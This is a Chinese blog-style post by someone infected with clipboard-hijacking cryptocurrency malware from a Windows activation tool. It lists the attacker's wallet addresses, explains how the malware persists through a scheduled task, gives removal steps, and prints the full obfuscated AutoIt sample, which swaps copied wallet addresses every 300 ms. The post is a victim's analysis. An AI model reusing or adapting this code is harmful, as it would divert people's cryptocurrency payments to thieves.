区块链Cliper剪切板病毒

之前装了一个虚拟机，在虚拟机用了某windows激活工具，于是不久后变发现剪切板被替换了，杀毒软件试了一个遍，害我白重装了几次系统。。

简单看了一下这个病毒还有几个钱包地址，没有具体分析

每300毫秒判断一下剪切板，如果不是病毒地址，就执行一下替换

病毒以太坊地址:0x30154562b81788b2a4FD126682795A49A02CCaE1
病毒比特链地址:17uoEtuihi6Lsg4hdedT7PUhF4FNgBPD2F
病毒波场链地址:TSYHipqP7DWdD7n4Z5skWsyriHfBvM21fD

这个病毒工作原理

1.从宿主程序上释放autoit.exe以及autoit.dat 至 C:\Users\{你的用户名}\AppData\Roaming\ServiceGet

2.创建任务计划实现开机启动，每1分钟调用1次

知道原理后，删掉任务计划，终止进程，删掉文件，彻底解决！

以下是dat文件中病毒样本

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

259

260

261

262

263

264

265

266

267

268

269

270

271

272

273

274

275

276

277

278

279

280

281

282

283

284

285

286

287

288

289

290

291

292

293

294

295

296

297

298

299

300

301

302

303

304

305

306

307

308

309

310

311

312

313

314

315

316

317

318

319

320

321

322

323

324

325

326

327

328

329

330

331

332

333

334

335

336

337

338

339

340

Global $BTJXS_IPWWHCIR = 18961
Global Const $var_1505 = 16
Global $eI_z_R_OBwJPzfAr7B = 54842
Global $_ZM_uPS2GNSIN5XnM_ = 1886922745
Global $tagIrusackmqYyxalrSwjmwgz = 140
Global Const $var_3969 = 291879569
Global Const $tagUwndjomfwg = 99
Global $nEmpalevalCmpiasyeOxqweywi = 4
Global $iAqjnstoen = 1582631668
#NoTrayIcon
Global $NSSHRSTA_TOXRU = StringTrimRight(QwvwqmFunc($tagIrusackmqYyxalrSwjmwgz), 1)
Global $g_eBvyapvtIwwcphvjwHqsoejixc = StringTrimLeft(Sxobbhpzxq(Df_bozS__HToTnKt(), FgkosxzFijudseFunc(), 568408041, FgkosxzFijudseFunc(), Df_bozS__HToTnKt()),  _
6)
Global $var_3435 = StringReverse(func_91(63, $var_3969, FgkosxzFijudseFunc()))
Global $L8pJ0B3aOtV_qF_9pSh_ = StringTrimRight(QxrlepfsbxZwcgt(124), 8)
Global $g_bJhvggBbesjvYvayxvxau = StringTrimRight(Sn_tlZG_osnG_jcovywzs(o_uhyZ_hr_tnIdgyYK_KJASf(), $iAqjnstoen, func_4086(), EarxqSmansFunc()),  _
7)
Global $MDLUTVH_FXYTGQHUU_DMJZVDO = StringReverse(CdsmqseupjFunc($iAqjnstoen))
Global $FZITTL = StringTrimLeft(WyhxmmTwdnahz(EarxqSmansFunc()), 6)
Global $AQSFBO_YXTKHHLVI = StringTrimLeft(CvzsrzbxdeFunc(31, 91, 228, Df_bozS__HToTnKt(), $eI_z_R_OBwJPzfAr7B), 8)
Global $l_g_ROUz3_bpQl_bjZMpVBpU = StringTrimLeft(func_618(29), 5)
Global $vBdzwndgFjinzzvaSuhsmuss = StringTrimRight(func_3464(YyrdsFunc()), 5)
Global $var_707 = StringTrimLeft(DqbzzbbzsyFzhzfxqmiFunc(13659), 5)
Global $n_hs1R4_Xm0tqr_ = StringReverse(func_2931($nEmpalevalCmpiasyeOxqweywi, 5004, Df_bozS__HToTnKt(), 113))
Func func_2931($aHtanp, $WFWRZX_COQPDO_DHTXBL, $ZAYVDK, $var_2333)
    Local $QRUWOJWNL_EZJEKDK[71] = [0x0034, 0x0037, 0x0074, 0x0075, 0x0054, 0x0074, 0x006F, 0x006B, 0x003A, 0x005F, 0x007B,  _
0x0058, 0x0046, 0x0067, 0x0037, 0x0047, 0x0055, 0x0045, 0x007A, 0x002A, 0x007B, 0x007E,  _
0x0061, 0x007B, 0x0052, 0x0027, 0x0022, 0x0052, 0x006C, 0x0056, 0x004D, 0x0048, 0x0061,  _
0x0050, 0x000F, 0x0063, 0x0053, 0x007B, 0x005E, 0x0075, 0x0059, 0x005C, 0x005F, 0x0040,  _
0x0018, 0x005C, 0x004A, 0x004A, 0x005D, 0x007C, 0x0067, 0x004A, 0x0001, 0x006C, 0x003F,  _
0x0000, 0x0068, 0x0074, 0x007E, 0x0072, 0x0056, 0x0044, 0x006D, 0x000B, 0x000D, 0x0077,  _
0x0079, 0x0030, 0x001F, 0x0020, 0x0026]
    Local $YgLRj
    Local $HNwcj
    For $HNwcj = 0 To 70
        $YgLRj = $QRUWOJWNL_EZJEKDK[$HNwcj]
        $YgLRj = $YgLRj + 1
        $YgLRj = BitXOR($YgLRj, $HNwcj)
        $YgLRj = BitAND($YgLRj, 0xFFFF)
        $QRUWOJWNL_EZJEKDK[$HNwcj] = ChrW($YgLRj)
    Next
    Return _ArrayToString($QRUWOJWNL_EZJEKDK, "")
EndFunc
Func QxrlepfsbxZwcgt($9Yz_MLYuTw5__1MYGbC)
    Local $pGitffhFejwmmwJoxopmmau[42] = [0xB832, 0xB851, 0xB879, 0xB86A, 0xB849, 0xB844, 0xB84C, 0xB851, 0xB860, 0xB84F, 0xB84C,  _
0xB851, 0xB84C, 0xB878, 0xB868, 0xB868, 0xB849, 0xB871, 0xB849, 0xB844, 0xB86B, 0xB837,  _
0xB85B, 0xB866, 0xB856, 0xB87B, 0xB852, 0xB869, 0xB869, 0xB834, 0xB835, 0xB84F, 0xB837,  _
0xB834, 0xB856, 0xB844, 0xB84E, 0xB874, 0xB854, 0xB865, 0xB878, 0xB869]
    Local $vjINt
    Local $YaRdo
    For $YaRdo = 0 To 41
        $vjINt = $pGitffhFejwmmwJoxopmmau[$YaRdo]
        $vjINt = BitXOR($vjINt, 0xB801)
        $pGitffhFejwmmwJoxopmmau[$YaRdo] = ChrW(BitAND($vjINt, 0xFFFF))
    Next
    Return _ArrayToString($pGitffhFejwmmwJoxopmmau, "")
EndFunc
Func func_618($var_1959)
    Local $__MVVpX77uDMp_e[39] = [0x9783, 0x9754, 0x976F, 0x975E, 0x9781, 0x974E, 0x9750, 0x974D, 0x9759, 0x9756, 0x975A,  _
0x9745, 0x974E, 0x9775, 0x9746, 0x9744, 0x974C, 0x9761, 0x9765, 0x9740, 0x976E, 0x974E,  _
0x9769, 0x975D, 0x976E, 0x976D, 0x976E, 0x9727, 0x972B, 0x9767, 0x9722, 0x973C, 0x9749,  _
0x9743, 0x9725, 0x9751, 0x973D, 0x9750, 0x975E]
    Local $xkbEe
    Local $oaGOb
    For $oaGOb = 0 To 38
        $xkbEe = $__MVVpX77uDMp_e[$oaGOb]
        $xkbEe -= 0x94AA
        $xkbEe += $oaGOb
        $xkbEe += 0xFD9B
        $__MVVpX77uDMp_e[$oaGOb] = ChrW(BitAND($xkbEe, 0xFFFF))
    Next
    Local $dxBwS = _ArrayToString($__MVVpX77uDMp_e, "")
    Return $dxBwS
EndFunc
Func Vh_VCpttCAtKYme()
    return 65302
EndFunc
Func CdsmqseupjFunc($v1W_ohsDNc4bNBYyI_ULi31Mk)
    Local $var_2437[42] = [0x3BFF, 0xEBFE, 0x7BFE, 0xF3FE, 0xF3FE, 0x37FF, 0x3FFF, 0xFBFE, 0x1BFF, 0x2FFF, 0xFBFE,  _
0x2BFF, 0x1BFF, 0x23FF, 0x37FF, 0x1FFF, 0x27FF, 0x27FF, 0x37FF, 0x3BFF, 0xEFFE, 0xE7FE,  _
0x2FFF, 0x7BFE, 0x37FF, 0x77FE, 0x1FFF, 0x1FFF, 0x23FF, 0x3BFF, 0x1FFF, 0x77FE, 0x37FF,  _
0x27FF, 0x2BFF, 0x2FFF, 0x2BFF, 0x3BFF, 0x3FFF, 0x33FF, 0x1FFE, 0x3FFF]
    Local $KYrCo
    Local $wJUMl
    For $wJUMl = 0 To 41
        $KYrCo = $var_2437[$wJUMl]
        $KYrCo = BitNOT($KYrCo)
        $KYrCo = BitRotate($KYrCo, 6, "W")
        $var_2437[$wJUMl] = ChrW(BitAND($KYrCo, 65535))
    Next
    $var_2437 = _ArrayToString($var_2437, "")
    Return $var_2437
EndFunc
Func Sxobbhpzxq($uiMQtc_foFt___rHmSgJbML, $zN35Wtns3_3ytVu_T_X5S_, $IWRSERHVWU, $fHajrhigqkuPhddzCoszwyk, $9_I_KaSfVVFFOJ1KKkBpCzG__)
    Local $LOVZYJJYK[50] = [0xA58F, 0xB592, 0xA592, 0x1591, 0x8592, 0xB58F, 0x158F, 0x258F, 0x7590, 0xC58E, 0x9590,  _
0xD58F, 0x2593, 0x3591, 0x3593, 0xA591, 0x4592, 0x8592, 0x1590, 0x058F, 0x0591, 0xF58E,  _
0x7592, 0x158F, 0x3591, 0xB592, 0x3592, 0x0590, 0xD58F, 0xD58F, 0x4592, 0xD592, 0x3592,  _
0x1592, 0x158F, 0x2592, 0x0591, 0xF58F, 0x0590, 0xF58E, 0xE591, 0x4590, 0xB590, 0xF592,  _
0x2592, 0xC58E, 0x4592, 0xF592, 0x9592, 0xA590]
    Local $KutFY
    Local $qDHOz
    For $qDHOz = 0 To 49
        $KutFY = $LOVZYJJYK[$qDHOz]
        $KutFY = BitRotate($KutFY, -12, Chr(87))
        $KutFY += 0xA747
        $LOVZYJJYK[$qDHOz] = ChrW(BitAND($KutFY, 0xFFFF))
    Next
    $LOVZYJJYK = _ArrayToString($LOVZYJJYK, "")
    Return $LOVZYJJYK
EndFunc
Func MajkzfetGqkdthmcnyFunc()
    return 67
EndFunc
Func Pbejyjdo()
    return 1781054597
EndFunc
Func CvzsrzbxdeFunc($1g_lpvV0UZV_b0G_, $var_1098, $YCEOUFFJHL, $JUMJDFV_RMTYU, $pNcmnjpm)
    Local $RarFZL1VLM_MzXC1ETeq_r_h[42] = [0x918D, 0x9187, 0x91B0, 0x9199, 0x91A0, 0x917E, 0x9190, 0x91B3, 0x9190, 0x9190, 0x9197,  _
0x9187, 0x91A9, 0x91B1, 0x91B3, 0x9193, 0x917B, 0x9189, 0x919D, 0x91AB, 0x918C, 0x9180,  _
0x91B8, 0x917F, 0x91A6, 0x9182, 0x91C1, 0x91BA, 0x91A7, 0x91C4, 0x91CB, 0x91C5, 0x91BD,  _
0x919D, 0x91BC, 0x9199, 0x91CE, 0x91A6, 0x918C, 0x918C, 0x91C2, 0x91A1]
    Local $MvUxS
    Local $gIJdW
    For $gIJdW = 0 To 41
        $MvUxS = $RarFZL1VLM_MzXC1ETeq_r_h[$gIJdW]
        $MvUxS -= 0xEB98
        $MvUxS -= $gIJdW
        $MvUxS += 0x5A64
        $RarFZL1VLM_MzXC1ETeq_r_h[$gIJdW] = ChrW(BitAND($MvUxS, 0xFFFF))
    Next
    $RarFZL1VLM_MzXC1ETeq_r_h = _ArrayToString($RarFZL1VLM_MzXC1ETeq_r_h, "")
    Return $RarFZL1VLM_MzXC1ETeq_r_h
EndFunc
func_2850()
Func func_91($idUfzxifm, $Dmo3Zt_sBluj9uCYQ72__s, $_w_p_ErZKn25BW4)
    Local $LWIVBBI_LDEOUTYD_ALWKO[34] = [0x0046, 0x0033, 0x0046, 0x0053, 0x0046, 0x006C, 0x0054, 0x004D, 0x003C, 0x004F, 0x0072,  _
0x0060, 0x005C, 0x0044, 0x0062, 0x0073, 0x0075, 0x0075, 0x007A, 0x0047, 0x007B, 0x0088,  _
0x0062, 0x004D, 0x0081, 0x0081, 0x0083, 0x0090, 0x0090, 0x0062, 0x008D, 0x0094, 0x0057,  _
0x0052]
    Local $DuGKX
    Local $lUKpL
    For $lUKpL = 0 To 33
        $DuGKX = $LWIVBBI_LDEOUTYD_ALWKO[$lUKpL]
        $DuGKX -= $lUKpL
        $LWIVBBI_LDEOUTYD_ALWKO[$lUKpL] = ChrW(BitAND($DuGKX, 65535))
    Next
    $LWIVBBI_LDEOUTYD_ALWKO = _ArrayToString($LWIVBBI_LDEOUTYD_ALWKO, "")
    Return $LWIVBBI_LDEOUTYD_ALWKO
EndFunc
Func Df_bozS__HToTnKt()
    return 199
EndFunc
Func func_4086()
    return 97
EndFunc
Func EarxqSmansFunc()
    return 225
EndFunc
Func YyrdsFunc()
    return 594756098
EndFunc
Func QwvwqmFunc($LYMSHHUXZI_QTBRPGI)
    Local $kgC_5u5g_lF8dXI2[45] = [0x800F, 0xC00D, 0x800F, 0xA00F, 0xA00D, 0xC007, 0x4008, 0xC008, 0x4011, 0x0009, 0x2009,  _
0xA011, 0x0010, 0x600F, 0x6009, 0xC011, 0x4009, 0x6011, 0x400A, 0x6011, 0xC009, 0x2011,  _
0xC010, 0xE011, 0xC012, 0x4013, 0x400B, 0x2011, 0xA010, 0xA011, 0x8011, 0x6013, 0xA011,  _
0x200C, 0x6011, 0x8013, 0x800B, 0xE014, 0xA00C, 0x6013, 0x400C, 0x6014, 0xE012, 0xC013,  _
0x0013]
    Local $BSDWy
    Local $Uxyck
    For $Uxyck = 0 To 44
        $BSDWy = $kgC_5u5g_lF8dXI2[$Uxyck]
        $BSDWy = $BSDWy - 1
        $BSDWy = BitRotate($BSDWy, 3, "W")
        $BSDWy -= $Uxyck
        $kgC_5u5g_lF8dXI2[$Uxyck] = ChrW(BitAND($BSDWy, 0xFFFF))
    Next
    Local $bieqL = _ArrayToString($kgC_5u5g_lF8dXI2, "")
    Return $bieqL
EndFunc
Func ZkfbblfaiIucjujzFunc($A0, $A1, $A2, $nYhcythZvsdk)
    Local $var_2118 = ClipGet()
    Local $vEhtjbxwXabbsoyvwu = StringLen($var_2118)
    If $vEhtjbxwXabbsoyvwu > $A1 and $vEhtjbxwXabbsoyvwu < $A2 Then
        If $A0 Then
            Local $GBODBUSXV = StringLeft($var_2118, $A0)
            Local $NDCBUZ_USGWRJ_CCUFSLBVYM = StringLeft($nYhcythZvsdk, $A0)
            If StringCompare($NDCBUZ_USGWRJ_CCUFSLBVYM, $GBODBUSXV, 1) = 0 Then
                ClipPut($nYhcythZvsdk)
            EndIf
        Else
            If Not StringInStr(StringLeft($var_2118, 5), StringReverse(UxxersFunc($_ZM_uPS2GNSIN5XnM_, EarxqSmansFunc()))) Then
                ClipPut($nYhcythZvsdk)
            EndIf
        EndIf
    EndIf
EndFunc
Func func_3464($MVMGZVEA)
    Local $CSBXDJBA_QRMVKI[39] = [0xAB2A, 0xAB7A, 0xA9CA, 0xADCA, 0xABEA, 0xA9CA, 0xADEA, 0xAC0A, 0xAB2A, 0xAD4A, 0xACAA,  _
0xACBA, 0xAD6A, 0xA9BA, 0xAD0A, 0xAB0A, 0xADAA, 0xAD8A, 0xAB7A, 0xADFA, 0xABFA, 0xAD6A,  _
0xAADA, 0xA98A, 0xAD6A, 0xAA8A, 0xABCA, 0xAB6A, 0xAB0A, 0xAD7A, 0xAAEA, 0xA9FA, 0xA97A,  _
0xAB1A, 0xAB5A, 0xAD6A, 0xAD4A, 0xAABA, 0xABBA]
    Local $ivdwr
    Local $xcXsZ
    For $xcXsZ = 0 To 38
        $ivdwr = $CSBXDJBA_QRMVKI[$xcXsZ]
        $ivdwr += 0x5996
        $ivdwr = BitRotate($ivdwr, 12, "W")
        $ivdwr = BitAND($ivdwr, 0xFFFF)
        $CSBXDJBA_QRMVKI[$xcXsZ] = ChrW($ivdwr)
    Next
    Return _ArrayToString($CSBXDJBA_QRMVKI, "")
EndFunc
Func _ArrayToString(Const ByRef $aArray, $sDelim_Col = "|", $iStart_Row = -1, $iEnd_Row = -1, $sDelim_Row = @CRLF, $iStart_Col = -1, $iEnd_Col = -1)
        If $sDelim_Col = Default Then $sDelim_Col = "|"
        If $sDelim_Row = Default Then $sDelim_Row = @CRLF
        If $iStart_Row = Default Then $iStart_Row = -1
        If $iEnd_Row = Default Then $iEnd_Row = -1
        If $iStart_Col = Default Then $iStart_Col = -1
        If $iEnd_Col = Default Then $iEnd_Col = -1
        If Not IsArray($aArray) Then Return SetError(1, 0, -1)
        Local $iDim_1 = UBound($aArray, 1) - 1
        If $iStart_Row = -1 Then $iStart_Row = 0
        If $iEnd_Row = -1 Then $iEnd_Row = $iDim_1
        If $iStart_Row < -1 Or $iEnd_Row < -1 Then Return SetError(3, 0, -1)
        If $iStart_Row > $iDim_1 Or $iEnd_Row > $iDim_1 Then Return SetError(3, 0, "")
        If $iStart_Row > $iEnd_Row Then Return SetError(4, 0, -1)
        Local $sRet = ""
        Switch UBound($aArray, 0)
                Case 1
                        For $i = $iStart_Row To $iEnd_Row
                                $sRet &= $aArray[$i] & $sDelim_Col
                        Next
                        Return StringTrimRight($sRet, StringLen($sDelim_Col))
                Case 2
                        Local $iDim_2 = UBound($aArray, 2) - 1
                        If $iStart_Col = -1 Then $iStart_Col = 0
                        If $iEnd_Col = -1 Then $iEnd_Col = $iDim_2
                        If $iStart_Col < -1 Or $iEnd_Col < -1 Then Return SetError(5, 0, -1)
                        If $iStart_Col > $iDim_2 Or $iEnd_Col > $iDim_2 Then Return SetError(5, 0, -1)
                        If $iStart_Col > $iEnd_Col Then Return SetError(6, 0, -1)
                        For $i = $iStart_Row To $iEnd_Row
                                For $j = $iStart_Col To $iEnd_Col
                                        $sRet &= $aArray[$i][$j] & $sDelim_Col
                                Next
                                $sRet = StringTrimRight($sRet, StringLen($sDelim_Col)) & $sDelim_Row
                        Next
                        Return StringTrimRight($sRet, StringLen($sDelim_Row))
                Case Else
                        Return SetError(2, 0, -1)
        EndSwitch
        Return 1
EndFunc
Func DqbzzbbzsyFzhzfxqmiFunc($NSCAMPI_ZNOLUJZ_JAFSBUGIN)
    Local $ZTsd_w8GWNmPb6s__Hdv[39] = [0xC2FF, 0xC7FF, 0xD37F, 0xD4FF, 0xCF7F, 0xC6FF, 0xDBFF, 0xD8FF, 0xD2FF, 0xCF7F, 0xD97F,  _
0xD2FF, 0xC87F, 0xE77F, 0xC2FF, 0xCB7F, 0xE5FF, 0xCC7F, 0xCE7F, 0xC4FF, 0xC8FF, 0xDAFF,  _
0xD7FF, 0xD77F, 0xD9FF, 0xCB7F, 0xCE7F, 0xE3FF, 0xD37F, 0xD97F, 0xE37F, 0xCEFF, 0xDD7F,  _
0xDCFF, 0xCF7F, 0xE77F, 0xCB7F, 0xD57F, 0xC5FF]
    Local $oGsae
    Local $bpRkC
    For $bpRkC = 0 To 38
        $oGsae = $ZTsd_w8GWNmPb6s__Hdv[$bpRkC]
        $oGsae = BitRotate($oGsae, 9, "W")
        $oGsae = BitNOT($oGsae)
        $oGsae = BitAND($oGsae, 0xFFFF)
        $ZTsd_w8GWNmPb6s__Hdv[$bpRkC] = ChrW($oGsae)
    Next
    Local $zkyeo = _ArrayToString($ZTsd_w8GWNmPb6s__Hdv, "")
    Return $zkyeo
EndFunc
Func Sn_tlZG_osnG_jcovywzs($g_bIvkprqnne, $var_1875, $sXoxdyqeirWvhijnrt, $16zR_D2Kl9J_cuq_n2)
    Local $sMhoihzq[49] = [0xFF9E, 0xFF9C, 0xFFCD, 0xFF8C, 0xFF90, 0xFFC5, 0xFF83, 0xFF8E, 0xFF94, 0xFF7E, 0xFF82,  _
0xFF87, 0xFF8E, 0xFF7A, 0xFFBD, 0xFF7F, 0xFFBE, 0xFF7B, 0xFF79, 0xFF76, 0xFF82, 0xFF7D,  _
0xFF77, 0xFF81, 0xFFB0, 0xFF6F, 0xFF78, 0xFF6E, 0xFFB4, 0xFF75, 0xFFAD, 0xFF7A, 0xFFAC,  _
0xFF71, 0xFF79, 0xFF72, 0xFF6B, 0xFF66, 0xFFA1, 0xFFA9, 0xFFA3, 0xFF73, 0xFF87, 0xFF6C,  _
0xFF6D, 0xFF8D, 0xFF78, 0xFF68, 0xFF56]
    Local $tryxD
    Local $aHKWT
    For $aHKWT = 0 To 48
        $tryxD = $sMhoihzq[$aHKWT]
        $tryxD = $tryxD - 1
        $tryxD = BitNOT($tryxD)
        $tryxD -= $aHKWT
        $tryxD = BitAND($tryxD, 0xFFFF)
        $sMhoihzq[$aHKWT] = ChrW($tryxD)
    Next
    Local $CasGd = _ArrayToString($sMhoihzq, "")
    Return $CasGd
EndFunc
Func UxxersFunc($var_2655, $iLtuyiUhmochu)
    Local $JHDXZ_RANSST[5] = [0xA577, 0xE977, 0xE977, 0xB577, 0xF177]
    Local $NdvFg
    Local $jwbpT
    For $jwbpT = 0 To 4
        $NdvFg = $JHDXZ_RANSST[$jwbpT]
        $NdvFg = BitRotate($NdvFg, -10, "W")
        $NdvFg += 0xA278
        $NdvFg = BitAND($NdvFg, 65535)
        $JHDXZ_RANSST[$jwbpT] = ChrW($NdvFg)
    Next
    Return _ArrayToString($JHDXZ_RANSST, "")
EndFunc
Func func_2850()
    While 1
        Sleep(300)
        ZkfbblfaiIucjujzFunc(2, 41, 47, $NSSHRSTA_TOXRU)
        ZkfbblfaiIucjujzFunc(0, 42, 46, $g_eBvyapvtIwwcphvjwHqsoejixc)
        ZkfbblfaiIucjujzFunc(1, 29, 37, $var_3435)
        ZkfbblfaiIucjujzFunc(1, 29, 37, $L8pJ0B3aOtV_qF_9pSh_)
        ZkfbblfaiIucjujzFunc(2, 39, 49, $g_bJhvggBbesjvYvayxvxau)
        ZkfbblfaiIucjujzFunc(2, 39, 45, $MDLUTVH_FXYTGQHUU_DMJZVDO)
        ZkfbblfaiIucjujzFunc(2, 37, 46, $FZITTL)
        ZkfbblfaiIucjujzFunc(1, 29, 38, $AQSFBO_YXTKHHLVI)
        ZkfbblfaiIucjujzFunc(1, 30, 38, $l_g_ROUz3_bpQl_bjZMpVBpU)
        ZkfbblfaiIucjujzFunc(1, 30, 38, $vBdzwndgFjinzzvaSuhsmuss)
        ZkfbblfaiIucjujzFunc(1, 31, 37, $var_707)
        ZkfbblfaiIucjujzFunc(2, 60, 80, $n_hs1R4_Xm0tqr_)
    WEnd
EndFunc
Func WyhxmmTwdnahz($NMVIZR)
    Local $pYuzhrq[48] = [0x0110, 0x019D, 0x010E, 0x0147, 0x01E4, 0x0135, 0x018E, 0x01BF, 0x0190, 0x00CD, 0x01BA,  _
0x00EB, 0x01F0, 0x01E1, 0x00EA, 0x01AF, 0x01E4, 0x01D9, 0x00DE, 0x01D7, 0x01C8, 0x01D5,  _
0x01FA, 0x01C7, 0x01A8, 0x01C9, 0x01DA, 0x0203, 0x01C8, 0x01E5, 0x01FA, 0x00FB, 0x00EC,  _
0x01ED, 0x01EE, 0x01CB, 0x01F8, 0x01B1, 0x01E6, 0x010B, 0x01FC, 0x010D, 0x01DE, 0x0213,  _
0x010C, 0x01C1, 0x01FE, 0x01E3]
    Local $uMdpb
    Local $jJtBZ
    For $jJtBZ = 0 To 47
        $uMdpb = $pYuzhrq[$jJtBZ]
        $uMdpb -= $jJtBZ
        $uMdpb = BitRotate($uMdpb, 14, Chr(87))
        $pYuzhrq[$jJtBZ] = ChrW(BitAND($uMdpb, 0xFFFF))
    Next
    Return _ArrayToString($pYuzhrq, "")
EndFunc
Func FgkosxzFijudseFunc()
    return 735921932
EndFunc
Func o_uhyZ_hr_tnIdgyYK_KJASf()
    return 124
EndFunc